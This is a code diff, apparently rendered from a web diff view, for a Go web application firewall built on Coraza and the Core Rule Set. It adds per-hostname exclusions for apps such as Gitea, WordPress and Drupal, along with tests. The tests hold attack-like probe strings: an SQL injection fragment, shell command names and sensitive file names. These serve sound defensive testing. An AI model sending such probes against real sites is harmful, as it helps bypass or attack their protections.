mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
|
|
||||||
nextcloudExclusions)
|
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
if len(params.DisabledRules) > 0 {
|
||||||
ids := make([]string, len(params.DisabledRules))
|
ids := make([]string, len(params.DisabledRules))
|
||||||
@@ -400,7 +374,9 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
|
return &CoreRuleSet{
|
||||||
|
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
|
||||||
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Result is what the Core Rule Set found in a request.
|
// Result is what the Core Rule Set found in a request.
|
||||||
@@ -412,11 +388,12 @@ type Result struct {
|
|||||||
Score int
|
Score int
|
||||||
}
|
}
|
||||||
|
|
||||||
// Inspect runs the Core Rule Set on r, a request from client: on its
|
// Inspect runs the Core Rule Set on r, a request from client, with the
|
||||||
// method, its URL with the query, and its headers, the Cookie header
|
// fixes of the apps appsFor names for r's hostname: on its method, its URL
|
||||||
// without the cookies in cookiesNotRead, and on body, r's body as the
|
// with the query, and its headers, the Cookie header without those apps'
|
||||||
// caller has it, as readBody reads it. It returns what it found, what it
|
// cookies, and on body, r's body as the caller has it, as readBody reads
|
||||||
// read of body, and the error that ended the reading early, if one did.
|
// it. It returns what it found, what it read of body, and the error that
|
||||||
|
// ended the reading early, if one did.
|
||||||
func (c *CoreRuleSet) Inspect(
|
func (c *CoreRuleSet) Inspect(
|
||||||
r *http.Request, client netip.Addr, body io.Reader,
|
r *http.Request, client netip.Addr, body io.Reader,
|
||||||
) (Result, []byte, error) {
|
) (Result, []byte, error) {
|
||||||
@@ -424,13 +401,24 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
// Closing would remove the files Coraza wrote, and it writes none.
|
// Closing would remove the files Coraza wrote, and it writes none.
|
||||||
defer func() { _ = tx.Close() }()
|
defer func() { _ = tx.Close() }()
|
||||||
|
|
||||||
|
// The transaction's variables are set only through Coraza's interface
|
||||||
|
// for plugins.
|
||||||
|
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
||||||
|
|
||||||
|
var cookiesNotRead []string
|
||||||
|
|
||||||
|
for _, name := range c.appsFor(r.Host) {
|
||||||
|
state.Variables().TX().Set("app_"+name, []string{"1"})
|
||||||
|
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
|
||||||
|
}
|
||||||
|
|
||||||
tx.ProcessConnection(client.String(), 0, "", 0)
|
tx.ProcessConnection(client.String(), 0, "", 0)
|
||||||
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
||||||
|
|
||||||
for name, values := range r.Header {
|
for name, values := range r.Header {
|
||||||
for _, value := range values {
|
for _, value := range values {
|
||||||
if name == "Cookie" {
|
if name == "Cookie" {
|
||||||
value = withoutCookiesNotRead(value)
|
value = withoutCookies(value, cookiesNotRead)
|
||||||
if value == "" {
|
if value == "" {
|
||||||
continue // it held those cookies alone
|
continue // it held those cookies alone
|
||||||
}
|
}
|
||||||
@@ -523,9 +511,26 @@ func score(tx types.Transaction) int {
|
|||||||
return n
|
return n
|
||||||
}
|
}
|
||||||
|
|
||||||
// withoutCookiesNotRead returns value, a Cookie header's, without the
|
// appsFor returns the names of the apps whose fixes a request for host,
|
||||||
// cookies in cookiesNotRead.
|
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
|
||||||
func withoutCookiesNotRead(value string) string {
|
// those SWW_APPS lists for host's name, without the port and in
|
||||||
|
// lowercase.
|
||||||
|
func (c *CoreRuleSet) appsFor(host string) []string {
|
||||||
|
if c.apps == nil {
|
||||||
|
return AppNames()
|
||||||
|
}
|
||||||
|
|
||||||
|
hostname, _, err := net.SplitHostPort(host)
|
||||||
|
if err != nil {
|
||||||
|
hostname = host // it has no port
|
||||||
|
}
|
||||||
|
|
||||||
|
return c.apps[strings.ToLower(hostname)]
|
||||||
|
}
|
||||||
|
|
||||||
|
// withoutCookies returns value, a Cookie header's, without the cookies
|
||||||
|
// named in cookiesNotRead.
|
||||||
|
func withoutCookies(value string, cookiesNotRead []string) string {
|
||||||
var kept []string
|
var kept []string
|
||||||
|
|
||||||
for cookie := range strings.SplitSeq(value, ";") {
|
for cookie := range strings.SplitSeq(value, ";") {
|
||||||
|
|||||||
@@ -1,10 +1,8 @@
|
|||||||
package coreruleset_test
|
package coreruleset_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"math/rand/v2"
|
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
@@ -38,12 +36,14 @@ var loaded = struct {
|
|||||||
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
||||||
|
|
||||||
// loaderFor returns the function that loads the Core Rule Set with params
|
// loaderFor returns the function that loads the Core Rule Set with params
|
||||||
// once, making it the first time params are asked for.
|
// once, making it the first time params are asked for. %#v writes a nil
|
||||||
|
// Apps, which gives every app's fixes, apart from an empty one, which
|
||||||
|
// gives none.
|
||||||
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
|
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
|
||||||
loaded.Lock()
|
loaded.Lock()
|
||||||
defer loaded.Unlock()
|
defer loaded.Unlock()
|
||||||
|
|
||||||
settings := fmt.Sprintf("%+v", params)
|
settings := fmt.Sprintf("%#v", params)
|
||||||
|
|
||||||
load, found := loaded.loaders[settings]
|
load, found := loaded.loaders[settings]
|
||||||
if !found {
|
if !found {
|
||||||
@@ -157,9 +157,10 @@ func inspectBody(
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, header := range r.headers {
|
for _, header := range r.headers {
|
||||||
// Go's server keeps Host and Transfer-Encoding out of the headers.
|
// Go's server keeps Host and Transfer-Encoding out of the headers,
|
||||||
|
// whatever their case.
|
||||||
name, value, _ := strings.Cut(header, ": ")
|
name, value, _ := strings.Cut(header, ": ")
|
||||||
switch name {
|
switch http.CanonicalHeaderKey(name) {
|
||||||
case "Host":
|
case "Host":
|
||||||
req.Host = value
|
req.Host = value
|
||||||
case "Transfer-Encoding":
|
case "Transfer-Encoding":
|
||||||
@@ -204,8 +205,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantChange checks that crs lets through passes, a request one of the
|
// wantChange checks that crs lets through passes, a request one of the
|
||||||
// fourteen changes is for, and still finds result in refused, a request like
|
// six changes or an app's fixes are for, and still finds result in
|
||||||
// it that the change is not for.
|
// refused, a request like it that they are not for.
|
||||||
func wantChange(
|
func wantChange(
|
||||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||||
result coreruleset.Result,
|
result coreruleset.Result,
|
||||||
@@ -466,6 +467,123 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
|
|||||||
matched(930120, 932160))
|
matched(930120, 932160))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// giteaFixed are gitea requests that only gitea's fixes let through, one
|
||||||
|
// for each kind of fix, each with what the Core Rule Set finds in it
|
||||||
|
// without them.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var giteaFixed = []struct {
|
||||||
|
request request
|
||||||
|
result coreruleset.Result
|
||||||
|
}{
|
||||||
|
// A search of code, on the path of gitea's search.
|
||||||
|
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
|
||||||
|
// A file name, in a parameter gitea sends names in, on any path.
|
||||||
|
{get("/?path=.gitignore"), matched(930120)},
|
||||||
|
// A file name, in a cookie of gitea's.
|
||||||
|
{
|
||||||
|
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
|
||||||
|
matched(930120),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
|
||||||
|
// one that serves another app.
|
||||||
|
const (
|
||||||
|
giteaHost = "git.example"
|
||||||
|
otherHost = "blog.example"
|
||||||
|
)
|
||||||
|
|
||||||
|
// gitea is gitea's name in SWW_APPS.
|
||||||
|
const gitea = "gitea"
|
||||||
|
|
||||||
|
// wordpress is WordPress's name in SWW_APPS.
|
||||||
|
const wordpress = "wordpress"
|
||||||
|
|
||||||
|
// withHost returns r sent to host.
|
||||||
|
func withHost(r request, host string) request {
|
||||||
|
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
|
||||||
|
}
|
||||||
|
|
||||||
|
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
|
||||||
|
// giving apps.
|
||||||
|
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
return shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, nil)
|
||||||
|
|
||||||
|
for _, fixed := range giteaFixed {
|
||||||
|
for _, host := range []string{giteaHost, otherHost} {
|
||||||
|
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
|
||||||
|
|
||||||
|
// The hostname is matched without the port and without regard to case.
|
||||||
|
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
|
||||||
|
for _, fixed := range giteaFixed {
|
||||||
|
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, apps := range []map[string][]string{
|
||||||
|
{giteaHost: {gitea}},
|
||||||
|
// SWW_APPS set empty lists no hostname.
|
||||||
|
{},
|
||||||
|
} {
|
||||||
|
crs := servingApps(t, apps)
|
||||||
|
|
||||||
|
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
|
||||||
|
for _, fixed := range giteaFixed {
|
||||||
|
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {wordpress},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only WordPress's fixes let through.
|
||||||
|
search := get("/?s=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
|
||||||
|
|
||||||
|
// A file name that only gitea's fixes let through, and a search that only
|
||||||
|
// WordPress's fixes let through.
|
||||||
|
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
|
||||||
|
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// withExclusions returns the Core Rule Set at the defaults, with the
|
// withExclusions returns the Core Rule Set at the defaults, with the
|
||||||
// exclusions file at path.
|
// exclusions file at path.
|
||||||
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
||||||
@@ -626,256 +744,25 @@ const passwordField = "password="
|
|||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||||
|
|
||||||
// randomPassword returns a password of 20 characters, each one of the 95
|
|
||||||
// printable ASCII characters, space included, drawn from random.
|
|
||||||
func randomPassword(random *rand.Rand) string {
|
|
||||||
const length = 20
|
|
||||||
|
|
||||||
var printable []byte
|
|
||||||
for c := byte(' '); c <= '~'; c++ {
|
|
||||||
printable = append(printable, c)
|
|
||||||
}
|
|
||||||
|
|
||||||
password := make([]byte, length)
|
|
||||||
for i := range password {
|
|
||||||
password[i] = printable[random.IntN(len(printable))]
|
|
||||||
}
|
|
||||||
|
|
||||||
return string(password)
|
|
||||||
}
|
|
||||||
|
|
||||||
// rarePasswords are random passwords from randomPasswords' seed, found among
|
|
||||||
// the first 1,000,000. Each sets off the rule named beside it, which the first
|
|
||||||
// 2,000 do not set off.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var rarePasswords = []string{
|
|
||||||
"x)g|E0f)~.um%00G]<oA", // 920270
|
|
||||||
"uC?mK\\U2fEbXA}~j7fPb", // 920540
|
|
||||||
"4;yfIDKZYNtZT)(w-=%@", // 921200
|
|
||||||
"`sAIfEVdBprjxR$/.?\\d", // 930100
|
|
||||||
"Unt@1xza,:%j$/..;5y+", // 930110
|
|
||||||
"VN.CVsu^3vbUS==4Q&Y@", // 930120
|
|
||||||
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
|
|
||||||
" /\"j14y[%\\(iM]zmG%=^", // 932130
|
|
||||||
"\\f*q5v$]$IfS3JoY:*r1", // 932160
|
|
||||||
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
|
|
||||||
"pErl>vR[Z7K^<f%_4,WZ", // 932260
|
|
||||||
"){2P,GU}a3mYvjq^(p1^", // 932280
|
|
||||||
"xw4UGJk!-8#ZE(`.ij.O", // 932330
|
|
||||||
" XVw(2mN5R,+%~_f\"n<?", // 933100
|
|
||||||
"0ZK1D>`RHb+RW${/(z}C", // 933135
|
|
||||||
"Ep3!qqe 7$RT(_)@SLV6", // 933180
|
|
||||||
"&:4WomDrn$\"(SE_D);Ja", // 933210
|
|
||||||
"='nlIgN7ON\\\\mWt=Tr84", // 941120
|
|
||||||
"P]/C>Ef]F-<sV,&gs.[4", // 941160
|
|
||||||
"<!--a\"9Ju}r!2=J-kZDd", // 941180
|
|
||||||
"@`].*EJ?`Cw^8\\orD!(f", // 942151
|
|
||||||
"StTj*t:IF(Uq_<aG0mya", // 942230
|
|
||||||
"t,D-oJjnvL Dn!o::Int", // 942320
|
|
||||||
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
|
|
||||||
"`aV#3${J4,\\h.q' k\\${", // 944150
|
|
||||||
}
|
|
||||||
|
|
||||||
// randomPasswords returns 2,000 random passwords from a fixed seed, then
|
|
||||||
// rarePasswords.
|
|
||||||
func randomPasswords() []string {
|
|
||||||
const count, seed = 2000, 276
|
|
||||||
|
|
||||||
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
|
||||||
|
|
||||||
passwords := make([]string, count, count+len(rarePasswords))
|
|
||||||
for i := range passwords {
|
|
||||||
passwords[i] = randomPassword(random)
|
|
||||||
}
|
|
||||||
|
|
||||||
return append(passwords, rarePasswords...)
|
|
||||||
}
|
|
||||||
|
|
||||||
// passwordBody returns a body of r's type, form data or JSON, that sends
|
|
||||||
// each of passwords in the field name. Coraza checks each value of a field
|
|
||||||
// on its own, and keeps every value of a JSON key sent more than once.
|
|
||||||
func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
if r.headers[0] != jsonBody {
|
|
||||||
return formBody(name, passwords...)
|
|
||||||
}
|
|
||||||
|
|
||||||
values := make([]string, len(passwords))
|
|
||||||
|
|
||||||
for i, password := range passwords {
|
|
||||||
pair, err := json.Marshal(map[string]string{name: password})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
values[i] = strings.Trim(string(pair), "{}")
|
|
||||||
}
|
|
||||||
|
|
||||||
return "{" + strings.Join(values, ",") + "}"
|
|
||||||
}
|
|
||||||
|
|
||||||
// formBody returns a form data body that sends each of values in the field
|
|
||||||
// name.
|
|
||||||
func formBody(name string, values ...string) string {
|
|
||||||
fields := make([]string, len(values))
|
|
||||||
for i, value := range values {
|
|
||||||
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
|
|
||||||
}
|
|
||||||
|
|
||||||
return strings.Join(fields, "&")
|
|
||||||
}
|
|
||||||
|
|
||||||
// setsOffARule reports whether body, form data sent to / as a browser
|
|
||||||
// sends it, sets off a rule in crs.
|
|
||||||
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
|
|
||||||
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
|
|
||||||
"http://git.example/", strings.NewReader(body))
|
|
||||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
|
||||||
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
|
||||||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
|
||||||
"Gecko/20100101 Firefox/131.0")
|
|
||||||
req.Header.Set("Accept", "text/html")
|
|
||||||
|
|
||||||
// The body is read from memory, which cannot fail.
|
|
||||||
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
|
||||||
|
|
||||||
return len(result.RuleIDs) > 0
|
|
||||||
}
|
|
||||||
|
|
||||||
// findMisfiringPasswords returns those of randomPasswords that set off a
|
|
||||||
// rule in the form data field password on /, which no exclusion names, while
|
|
||||||
// bodies are read. It runs once, for every test that asks. Each body sends
|
|
||||||
// ten passwords, and a body that sets off a rule is sent again one password
|
|
||||||
// at a time.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // the tests share it
|
|
||||||
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
|
||||||
const workers, perBody = 16, 10
|
|
||||||
|
|
||||||
crs, err := loaderFor(coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
||||||
})()
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
passwords := randomPasswords()
|
|
||||||
misfires := make([]bool, len(passwords))
|
|
||||||
|
|
||||||
var inspecting sync.WaitGroup
|
|
||||||
|
|
||||||
for worker := range workers {
|
|
||||||
inspecting.Go(func() {
|
|
||||||
for first := worker * perBody; first < len(passwords); first += workers * perBody {
|
|
||||||
last := min(first+perBody, len(passwords))
|
|
||||||
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
for i := first; i < last; i++ {
|
|
||||||
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
inspecting.Wait()
|
|
||||||
|
|
||||||
var misfiring []string
|
|
||||||
|
|
||||||
for i, password := range passwords {
|
|
||||||
if misfires[i] {
|
|
||||||
misfiring = append(misfiring, password)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return misfiring, nil
|
|
||||||
})
|
|
||||||
|
|
||||||
// misfiringPasswords returns those of randomPasswords that set off a rule in
|
|
||||||
// a field no exclusion names. The rules that misfire on a password read its
|
|
||||||
// value, not the name of its field. So the other random passwords set off no
|
|
||||||
// rule in any field.
|
|
||||||
func misfiringPasswords(t *testing.T) []string {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
misfiring, err := findMisfiringPasswords()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("load the Core Rule Set: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, rare := range rarePasswords {
|
|
||||||
if !slices.Contains(misfiring, rare) {
|
|
||||||
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return misfiring
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
|
|
||||||
// field name of r's body, is refused while bodies are read. r's Content-Type
|
|
||||||
// is form data or JSON. Only the passwords misfiringPasswords returns set off
|
|
||||||
// a rule in some field, so only they are sent, all in one body. If it is
|
|
||||||
// refused, each is sent again on its own, to name those refused.
|
|
||||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
misfiring := misfiringPasswords(t)
|
|
||||||
|
|
||||||
body := passwordBody(t, r, name, misfiring...)
|
|
||||||
if len(body) > bodyLimit {
|
|
||||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
|
||||||
}
|
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, password := range misfiring {
|
|
||||||
body := passwordBody(t, r, name, password)
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
|
|
||||||
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
|
|
||||||
password, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantPasswordAttacksRefused checks that each of attacks, sent as the whole
|
|
||||||
// password in the field name of r's body, is refused while bodies are read.
|
|
||||||
func wantPasswordAttacksRefused(
|
|
||||||
t *testing.T, r request, name string, attacks ...string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
for _, attack := range attacks {
|
|
||||||
body := passwordBody(t, r, name, attack)
|
|
||||||
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
|
|
||||||
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
|
|
||||||
attack, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||||
// requests in the file name in testdata is refused, at the defaults and
|
// requests in the file name in testdata is refused on example.com, where
|
||||||
// while bodies are read. A request with neither a body nor a Content-Type
|
// they were recorded, while SWW_APPS lists only app for it. They are
|
||||||
// header is checked only at the defaults: with neither, the set that reads
|
// checked at the defaults and while bodies are read. With SWW_APPS unset,
|
||||||
// bodies has nothing more to check. Each request runs as its own parallel
|
// every app's fixes apply. These only switch checks off, so the requests
|
||||||
// subtest.
|
// pass then too. A request with neither a body nor a Content-Type header is
|
||||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
// checked only at the defaults: with neither, the set that reads bodies has
|
||||||
|
// nothing more to check. Each request runs as its own parallel subtest.
|
||||||
|
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
apps := map[string][]string{"example.com": {app}}
|
||||||
|
defaults := servingApps(t, apps)
|
||||||
|
bodies := shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
|
Apps: apps,
|
||||||
|
})
|
||||||
|
|
||||||
for _, recorded := range recordedRequests(t, name) {
|
for _, recorded := range recordedRequests(t, name) {
|
||||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||||
@@ -1076,12 +963,22 @@ func wordpressAttackTargets(attack string) []string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
// wantWordPressRequestsPass checks that the recorded ordinary WordPress
|
||||||
t.Parallel()
|
// requests pass on otherHost, where they were recorded, while SWW_APPS lists
|
||||||
|
// only wordpress for it. They pass at the defaults, and those with a body
|
||||||
|
// pass while bodies up to 64 KiB are read too. Every app's fixes only switch
|
||||||
|
// checks off, so the requests pass with SWW_APPS unset too.
|
||||||
|
func wantWordPressRequestsPass(t *testing.T) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
apps := map[string][]string{otherHost: {wordpress}}
|
||||||
|
defaults := servingApps(t, apps)
|
||||||
|
bodies := shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
||||||
|
Apps: apps,
|
||||||
|
})
|
||||||
|
|
||||||
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
||||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||||
@@ -1102,6 +999,16 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
wantWordPressRequestsPass(t)
|
||||||
|
|
||||||
|
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
sqlInjection,
|
sqlInjection,
|
||||||
@@ -1588,17 +1495,6 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
|||||||
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestWordPressPasswordsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, signIn, "pwd")
|
|
||||||
|
|
||||||
// No rule pwd keeps catches the SQL injection or the path traversal.
|
|
||||||
wantPasswordAttacksRefused(t, signIn, "pwd", scriptTag)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# The tenth change: on Drupal's paths, some fields skip the rules that refused
|
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
|
||||||
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
||||||
# search, a name, a file name or an address. Each exclusion runs with the
|
# search, a name, a file name or an address. Each exclusion runs with the
|
||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
@@ -25,6 +25,13 @@
|
|||||||
# 932230: ls -la
|
# 932230: ls -la
|
||||||
# 932235: python3
|
# 932235: python3
|
||||||
|
|
||||||
|
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
|
||||||
|
# skipped. Inspect sets tx.app_drupal when it does.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_drupal itself.
|
||||||
|
SecRule &TX:app_drupal "@eq 0" \
|
||||||
|
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
|
||||||
|
|
||||||
# Every admin page's filters and autocompletes, and the page to return to:
|
# Every admin page's filters and autocompletes, and the page to return to:
|
||||||
# title: /admin/content?title=python3
|
# title: /admin/content?title=python3
|
||||||
# name: /admin/content/media?name=python3
|
